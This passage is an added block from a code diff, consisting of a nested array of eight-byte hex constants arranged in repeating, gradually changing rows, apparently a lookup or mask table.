+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x56, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x15, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x15, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x1d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x76, 0x6f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x44, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x63, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x63, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x66, 0x7f},
+            {0x10, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x66, 0x7f},
+            {0x18, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x41, 0x7a, 0x73, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x7a, 0x73, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x73, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x73, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x76, 0x6f},
+            {0x18, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x76, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x5a, 0x63, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x63, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x63, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x66, 0x7f},
+            {0x10, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x66, 0x7f},
+            {0x18, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x49, 0x7a, 0x73, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x41, 0x7a, 0x73, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x7a, 0x73, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x73, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x73, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x76, 0x6f},
+            {0x18, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x76, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x41, 0x6a, 0x53, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x53, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x29, 0x5a, 0x23, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x5a, 0x23, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x23, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x23, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x66, 0x7f},
+            {0x10, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x66, 0x7f},
+            {0x18, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x21, 0x7a, 0x33, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x7a, 0x33, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x33, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x33, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x76, 0x6f},
+            {0x18, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x76, 0x6f},
+            {0x58, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x69, 0x5a, 0x23, 0x6c, 0x55, 0x66, 0x5f},
+            {0x10, 0x29, 0x5a, 0x23, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x5a, 0x23, 0x6c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x23, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x23, 0x2c, 0x15, 0x66, 0x5f},
+            {0x10, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x66, 0x7f},
+            {0x10, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x66, 0x7f},
+            {0x18, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x29, 0x7a, 0x33, 0x2c, 0x15, 0x76, 0x7f},
+            {0x18, 0x21, 0x7a, 0x33, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x7a, 0x33, 0x2c, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x33, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x33, 0x24, 0x1d, 0x76, 0x7f},
+            {0x18, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x76, 0x6f},
